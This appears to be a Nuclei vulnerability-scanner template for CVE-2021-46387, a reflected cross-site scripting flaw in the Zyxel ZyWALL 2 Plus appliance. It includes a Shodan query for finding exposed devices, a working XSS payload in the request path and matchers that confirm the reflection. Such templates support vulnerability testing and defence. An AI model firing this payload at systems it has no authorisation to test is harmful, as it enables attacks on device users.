nuclei-templates/http/cves/2021/CVE-2021-46387.yaml

55 lines
2.0 KiB
YAML

id: CVE-2021-46387
info:
name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
author: DhiyaneshDk
severity: medium
description: ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
remediation: |
Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/50797
- https://www.zyxel.com/us/en/support/security_advisories.shtml
- https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
- https://nvd.nist.gov/vuln/detail/CVE-2021-46387
- https://www.zyxel.com/uk/en/products_services/zywall_2_plus.shtml
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-46387
cwe-id: CWE-79
epss-score: 0.00628
epss-percentile: 0.76695
cpe: cpe:2.3:o:zyxel:zywall_2_plus_internet_security_appliance_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: zywall_2_plus_internet_security_appliance_firmware
shodan-query: http.title:"Zywall2Plus"
tags: cve,cve2021,xss,zyxel,edb
http:
- method: GET
path:
- '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<iMg src=x onerror="prompt(document.domain)"><form>'
- 'Entry Error'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
# digest: 4a0a00473045022066ed528cf053d39bfcda33c3e7ad4e2f10da76c10517c24c11c4a8e189b6a8fd022100add6a9f1ef484f79ff72587462ec7c0c669b0950297cb1e41b756a3a826a5392:922c64590222798bb761d5b6d8e72950